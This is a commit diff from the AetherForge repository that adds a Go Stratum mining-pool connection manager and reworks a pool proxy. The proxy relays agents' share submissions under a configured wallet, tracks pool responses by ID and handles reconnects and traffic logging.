drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.

Browse Source 
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
drjones
2026-05-27 09:16:04 -07:00
parent 9d223b8137
commit df81eb7744
75 changed files with 8891 additions and 966 deletions
Download Patch File Download Diff File Expand all files Collapse all files

166
server/internal/pool/manager.go Normal file
View File

@@ -0,0 +1,166 @@
package pool
import (
"fmt"
"log"
"sync"
"time"
)
// Manager maintains Stratum connections keyed by forged pool + wallet settings.
type Manager struct {
mu sync.RWMutex
pools map[string]*Proxy
onJob func(job *Job)
onErr func(err error)
reconnectDelay time.Duration
verboseTraffic bool
}
func NewManager(onJob func(job *Job), onErr func(err error)) *Manager {
return &Manager{
pools: make(map[string]*Proxy),
onJob: onJob,
onErr: onErr,
}
}
func (m *Manager) SetReconnectDelay(seconds int) {
if seconds > 0 {
m.mu.Lock()
m.reconnectDelay = time.Duration(seconds) * time.Second
m.mu.Unlock()
}
}
func (m *Manager) SetVerboseTraffic(enabled bool) {
m.mu.Lock()
m.verboseTraffic = enabled
for _, p := range m.pools {
p.SetVerboseTraffic(enabled)
}
m.mu.Unlock()
}
func poolKey(cfg *Config) string {
return fmt.Sprintf("%s:%d:tls=%v:wallet=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet)
}
// EnsurePool returns a connected proxy for the forged pool settings, starting one if needed.
func (m *Manager) EnsurePool(cfg *Config) (*Proxy, error) {
if cfg == nil || cfg.Host == "" {
return nil, fmt.Errorf("pool host is required")
}
if cfg.Wallet == "" {
return nil, fmt.Errorf("pool wallet is required")
}
if cfg.Port <= 0 {
cfg.Port = 3333
}
if cfg.Password == "" {
cfg.Password = "x"
}
key := poolKey(cfg)
m.mu.RLock()
if p, ok := m.pools[key]; ok && p.IsConnected() {
m.mu.RUnlock()
return p, nil
}
m.mu.RUnlock()
m.mu.Lock()
defer m.mu.Unlock()
if p, ok := m.pools[key]; ok {
if p.IsConnected() {
return p, nil
}
p.Stop()
delete(m.pools, key)
}
p := NewProxy(cfg)
p.SetCallbacks(m.onJob, nil, m.onErr)
m.mu.RLock()
delay := m.reconnectDelay
verbose := m.verboseTraffic
m.mu.RUnlock()
p.SetVerboseTraffic(verbose)
if delay > 0 {
p.SetReconnectDelay(delay)
}
if err := p.Start(); err != nil {
return nil, err
}
m.pools[key] = p
log.Printf("[PoolManager] Started pool %s for wallet %s…", key, truncateWallet(cfg.Wallet, 12))
return p, nil
}
// GetPool returns an existing proxy for forged settings without starting a new one.
func (m *Manager) GetPool(cfg *Config) *Proxy {
if cfg == nil || cfg.Host == "" || cfg.Wallet == "" {
return nil
}
if cfg.Port <= 0 {
cfg.Port = 3333
}
key := poolKey(cfg)
m.mu.RLock()
defer m.mu.RUnlock()
return m.pools[key]
}
func truncateWallet(s string, n int) string {
if len(s) <= n {
return s
}
return s[:n]
}
// PoolStatus describes a forged upstream Stratum connection.
type PoolStatus struct {
Key string `json:"key"`
Host string `json:"host"`
Port int `json:"port"`
UseTLS bool `json:"use_tls"`
Wallet string `json:"wallet"`
Connected bool `json:"connected"`
Status string `json:"status"` // green, yellow, red
}
func poolStatusLevel(connected bool, hasJob bool) string {
if !connected {
return "red"
}
if hasJob {
return "green"
}
return "yellow"
}
// ListStatus returns connection status for all managed pool proxies.
func (m *Manager) ListStatus() []PoolStatus {
m.mu.RLock()
defer m.mu.RUnlock()
out := make([]PoolStatus, 0, len(m.pools))
for key, p := range m.pools {
cfg := p.Config()
connected := p.IsConnected()
job := p.GetCurrentJob()
hasJob := job != nil && job.Blob != ""
status := poolStatusLevel(connected, hasJob)
out = append(out, PoolStatus{
Key: key,
Host: cfg.Host,
Port: cfg.Port,
UseTLS: cfg.UseTLS,
Wallet: truncateWallet(cfg.Wallet, 16),
Connected: connected,
Status: status,
})
}
return out
}

310
server/internal/pool/proxy.go
View File

@@ -10,6 +10,7 @@ import (
"log"
"math/big"
"net"
"strconv"
"strings"
"sync"
"time"
@@ -37,20 +38,20 @@ type StratumNotification struct {
// Job represents a mining job from the pool
type Job struct {
ID string `json:"job_id"`
Height int64 `json:"height"`
BlockTemplate string `json:"blocktemplate"`
Difficulty int64 `json:"difficulty"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
Blob string `json:"blob"`
Algo string `json:"algo"`
ID string `json:"job_id"`
Height int64 `json:"height"`
BlockTemplate string `json:"blocktemplate"`
Difficulty int64 `json:"difficulty"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
Blob string `json:"blob"`
Algo string `json:"algo"`
}
// ShareSubmit represents a share submission to the pool
type ShareSubmit struct {
ID int `json:"id"`
Method string `json:"method"`
ID int `json:"id"`
Method string `json:"method"`
Params []string `json:"params"`
}
@@ -65,23 +66,38 @@ type Proxy struct {
requestID int
currentJob *Job
jobSubscribed bool
stopCh chan struct{}
wg sync.WaitGroup
stopCh chan struct{}
wg sync.WaitGroup
running bool
// Callbacks
onJob func(job *Job)
onShare func(accepted bool, agentID string, jobID string)
onError func(err error)
onJob func(job *Job)
onShare func(accepted bool, agentID string, jobID string)
onError func(err error)
// Agent share submissions queue
shareQueue chan *PendingShare
pendingMu sync.Mutex
pendingResults map[int]*pendingShareResult
reconnecting bool
reconnectDelay time.Duration
verboseTraffic bool
}
type PendingShare struct {
AgentID string
JobID string
Nonce string
Hash string
AgentID string
JobID string
Nonce string
Hash string
Wallet string
OnResult func(accepted bool, errMsg string)
}
type pendingShareResult struct {
AgentID string
JobID string
OnResult func(accepted bool, errMsg string)
}
type Config struct {
@@ -94,9 +110,34 @@ type Config struct {
func NewProxy(cfg *Config) *Proxy {
return &Proxy{
config: cfg,
stopCh: make(chan struct{}),
shareQueue: make(chan *PendingShare, 100),
config: cfg,
stopCh: make(chan struct{}),
shareQueue: make(chan *PendingShare, 100),
pendingResults: make(map[int]*pendingShareResult),
reconnectDelay: 10 * time.Second,
}
}
func (p *Proxy) SetReconnectDelay(d time.Duration) {
if d > 0 {
p.mu.Lock()
p.reconnectDelay = d
p.mu.Unlock()
}
}
func (p *Proxy) SetVerboseTraffic(enabled bool) {
p.mu.Lock()
p.verboseTraffic = enabled
p.mu.Unlock()
}
func (p *Proxy) trafficLog(format string, args ...interface{}) {
p.mu.RLock()
v := p.verboseTraffic
p.mu.RUnlock()
if v {
log.Printf(format, args...)
}
}
@@ -109,9 +150,21 @@ func (p *Proxy) SetCallbacks(onJob func(job *Job), onShare func(accepted bool, a
p.onError = onError
}
// Start connects to the pool and begins processing
// Start connects to the pool and begins processing.
func (p *Proxy) Start() error {
addr := fmt.Sprintf("%s:%d", p.config.Host, p.config.Port)
p.mu.Lock()
if !p.running {
p.running = true
p.wg.Add(2)
go p.readLoop()
go p.shareSubmitLoop()
}
p.mu.Unlock()
return p.connect()
}
func (p *Proxy) connect() error {
addr := net.JoinHostPort(p.config.Host, strconv.Itoa(p.config.Port))
log.Printf("[Pool] Connecting to %s (TLS: %v)...", addr, p.config.UseTLS)
var conn net.Conn
@@ -132,6 +185,9 @@ func (p *Proxy) Start() error {
}
p.mu.Lock()
if p.conn != nil {
_ = p.conn.Close()
}
p.conn = conn
p.reader = bufio.NewReader(conn)
p.connected = true
@@ -139,26 +195,22 @@ func (p *Proxy) Start() error {
log.Printf("[Pool] Connected to %s", addr)
// Start reader goroutine
p.wg.Add(1)
go p.readLoop()
// Start share submission goroutine
p.wg.Add(1)
go p.shareSubmitLoop()
// Authenticate with the pool
if err := p.authenticate(); err != nil {
return fmt.Errorf("failed to authenticate with pool: %w", err)
}
return nil
}
// Stop disconnects from the pool
func (p *Proxy) Stop() {
close(p.stopCh)
p.mu.Lock()
if p.stopCh != nil {
select {
case <-p.stopCh:
default:
close(p.stopCh)
}
}
if p.conn != nil {
p.conn.Close()
p.connected = false
@@ -175,6 +227,15 @@ func (p *Proxy) IsConnected() bool {
return p.connected
}
func (p *Proxy) Config() Config {
p.mu.RLock()
defer p.mu.RUnlock()
if p.config == nil {
return Config{}
}
return *p.config
}
// GetCurrentJob returns the current mining job
func (p *Proxy) GetCurrentJob() *Job {
p.mu.RLock()
@@ -186,13 +247,15 @@ func (p *Proxy) GetCurrentJob() *Job {
return &jobCopy
}
// SubmitShare queues a share for submission to the pool
func (p *Proxy) SubmitShare(agentID, jobID, nonce, hash string) {
// SubmitShare queues a share for submission to the pool using the forged wallet.
func (p *Proxy) SubmitShare(agentID, wallet, jobID, nonce, hash string, onResult func(accepted bool, errMsg string)) {
p.shareQueue <- &PendingShare{
AgentID: agentID,
JobID: jobID,
Nonce: nonce,
Hash: hash,
AgentID: agentID,
JobID: jobID,
Nonce: nonce,
Hash: hash,
Wallet: wallet,
OnResult: onResult,
}
}
@@ -214,7 +277,7 @@ func (p *Proxy) authenticate() error {
}
data, _ := json.Marshal(loginReq)
log.Printf("[Pool] Sending login request...")
p.trafficLog("[Pool] Sending login request...")
if err := p.writeLine(data); err != nil {
return fmt.Errorf("failed to send login: %w", err)
@@ -253,9 +316,7 @@ func (p *Proxy) readLoop() {
p.onError(fmt.Errorf("pool connection lost: %w", err))
}
// Attempt reconnect after delay
time.Sleep(10 * time.Second)
go p.reconnect()
p.scheduleReconnect()
return
}
@@ -283,11 +344,28 @@ func (p *Proxy) handleMessage(data []byte) {
return
}
log.Printf("[Pool] Unhandled message: %s", string(data))
p.trafficLog("[Pool] Unhandled message: %s", string(data))
}
func (p *Proxy) handleResponse(resp StratumResponse) {
log.Printf("[Pool] Response ID=%d: %s", resp.ID, string(resp.Result))
p.trafficLog("[Pool] Response ID=%d: %s", resp.ID, string(resp.Result))
// Share submit responses (any ID > 1 that we tracked)
p.pendingMu.Lock()
pending, tracked := p.pendingResults[resp.ID]
if tracked {
delete(p.pendingResults, resp.ID)
}
p.pendingMu.Unlock()
if tracked && pending != nil && pending.OnResult != nil {
accepted, errMsg := parseSubmitResult(resp)
pending.OnResult(accepted, errMsg)
if p.onShare != nil {
p.onShare(accepted, pending.AgentID, pending.JobID)
}
return
}
if resp.ID == 1 {
// Login response
@@ -316,7 +394,7 @@ func (p *Proxy) handleResponse(resp StratumResponse) {
func (p *Proxy) handleNotification(notif StratumNotification) {
switch notif.Method {
case "job":
log.Printf("[Pool] New job received")
p.trafficLog("[Pool] New job received")
p.parseAndSetJob(notif.Params)
case "submit":
@@ -330,10 +408,10 @@ func (p *Proxy) handleNotification(notif StratumNotification) {
log.Printf("[Pool] Failed to parse submit result: %v", err)
return
}
log.Printf("[Pool] Share submission result: %s", submitResult.Status)
p.trafficLog("[Pool] Share submission result: %s", submitResult.Status)
default:
log.Printf("[Pool] Unknown notification method: %s", notif.Method)
p.trafficLog("[Pool] Unknown notification method: %s", notif.Method)
}
}
@@ -387,7 +465,7 @@ func (p *Proxy) parseAndSetJob(data json.RawMessage) {
p.currentJob = job
p.mu.Unlock()
log.Printf("[Pool] New job: ID=%s, Height=%d, Difficulty=%d, Algo=%s",
p.trafficLog("[Pool] New job: ID=%s, Height=%d, Difficulty=%d, Algo=%s",
job.ID, job.Height, job.Difficulty, job.Algo)
if p.onJob != nil {
@@ -407,7 +485,7 @@ func (p *Proxy) subscribe() {
}
data, _ := json.Marshal(subReq)
log.Printf("[Pool] Subscribing for jobs...")
p.trafficLog("[Pool] Subscribing for jobs...")
if err := p.writeLine(data); err != nil {
log.Printf("[Pool] Failed to subscribe: %v", err)
@@ -434,14 +512,30 @@ func (p *Proxy) submitShareToPool(share *PendingShare) {
if !connected {
log.Printf("[Pool] Cannot submit share - not connected to pool")
if share.OnResult != nil {
share.OnResult(false, "pool not connected")
}
return
}
p.requestID++
reqID := p.requestID
wallet := share.Wallet
if wallet == "" {
wallet = p.config.Wallet
}
p.pendingMu.Lock()
p.pendingResults[reqID] = &pendingShareResult{
AgentID: share.AgentID,
JobID: share.JobID,
OnResult: share.OnResult,
}
p.pendingMu.Unlock()
// Submit share to pool
submitParams := []string{
p.config.Wallet,
wallet,
share.JobID,
share.Nonce,
share.Hash,
@@ -449,41 +543,116 @@ func (p *Proxy) submitShareToPool(share *PendingShare) {
paramsData, _ := json.Marshal(submitParams)
submitReq := StratumRequest{
ID: p.requestID,
ID: reqID,
Method: "submit",
Params: paramsData,
}
data, _ := json.Marshal(submitReq)
log.Printf("[Pool] Submitting share for agent %s (job: %s)...", share.AgentID[:min(8, len(share.AgentID))], share.JobID)
p.trafficLog("[Pool] Submitting share for agent %s (job: %s)...", share.AgentID[:min(8, len(share.AgentID))], share.JobID)
if err := p.writeLine(data); err != nil {
log.Printf("[Pool] Failed to submit share: %v", err)
p.pendingMu.Lock()
delete(p.pendingResults, reqID)
p.pendingMu.Unlock()
if share.OnResult != nil {
share.OnResult(false, err.Error())
}
if p.onShare != nil {
p.onShare(false, share.AgentID, share.JobID)
}
return
}
// Read response
p.mu.RLock()
reader := p.reader
p.mu.RUnlock()
// Timeout fallback if pool never responds
go func(id int, ps *PendingShare) {
time.Sleep(30 * time.Second)
p.pendingMu.Lock()
pending, ok := p.pendingResults[id]
if ok {
delete(p.pendingResults, id)
}
p.pendingMu.Unlock()
if ok && pending != nil && pending.OnResult != nil {
log.Printf("[Pool] Share response timeout for agent %s job %s", pending.AgentID, pending.JobID)
pending.OnResult(false, "pool response timeout")
}
}(reqID, share)
}
if reader == nil {
func parseSubmitResult(resp StratumResponse) (accepted bool, errMsg string) {
if resp.Error != nil {
switch v := resp.Error.(type) {
case string:
return false, v
case []interface{}:
if len(v) > 1 {
if s, ok := v[1].(string); ok {
return false, s
}
}
case map[string]interface{}:
if msg, ok := v["message"].(string); ok {
return false, msg
}
}
return false, "pool rejected share"
}
if len(resp.Result) == 0 {
return true, ""
}
var status struct {
Status string `json:"status"`
}
if err := json.Unmarshal(resp.Result, &status); err == nil && status.Status != "" {
if strings.EqualFold(status.Status, "OK") || strings.EqualFold(status.Status, "ACCEPTED") {
return true, ""
}
return false, status.Status
}
var boolResult bool
if err := json.Unmarshal(resp.Result, &boolResult); err == nil {
if boolResult {
return true, ""
}
return false, "pool rejected share"
}
return true, ""
}
func (p *Proxy) scheduleReconnect() {
p.mu.Lock()
if p.reconnecting {
p.mu.Unlock()
return
}
p.reconnecting = true
p.mu.Unlock()
// Note: In a real implementation, we'd read the response asynchronously
// and match it by ID. For now, we assume accepted.
if p.onShare != nil {
p.onShare(true, share.AgentID, share.JobID)
}
go func() {
defer func() {
p.mu.Lock()
p.reconnecting = false
p.mu.Unlock()
}()
p.reconnect()
}()
}
func (p *Proxy) reconnect() {
log.Printf("[Pool] Attempting reconnect in 10 seconds...")
time.Sleep(10 * time.Second)
p.mu.RLock()
delay := p.reconnectDelay
if delay <= 0 {
delay = 10 * time.Second
}
p.mu.RUnlock()
log.Printf("[Pool] Attempting reconnect in %s...", delay)
time.Sleep(delay)
select {
case <-p.stopCh:
@@ -491,18 +660,17 @@ func (p *Proxy) reconnect() {
default:
}
if err := p.Start(); err != nil {
if err := p.connect(); err != nil {
log.Printf("[Pool] Reconnect failed: %v", err)
if p.onError != nil {
p.onError(fmt.Errorf("pool reconnect failed: %w", err))
}
// Try again
time.Sleep(30 * time.Second)
select {
case <-p.stopCh:
return
default:
go p.reconnect()
p.scheduleReconnect()
}
}
}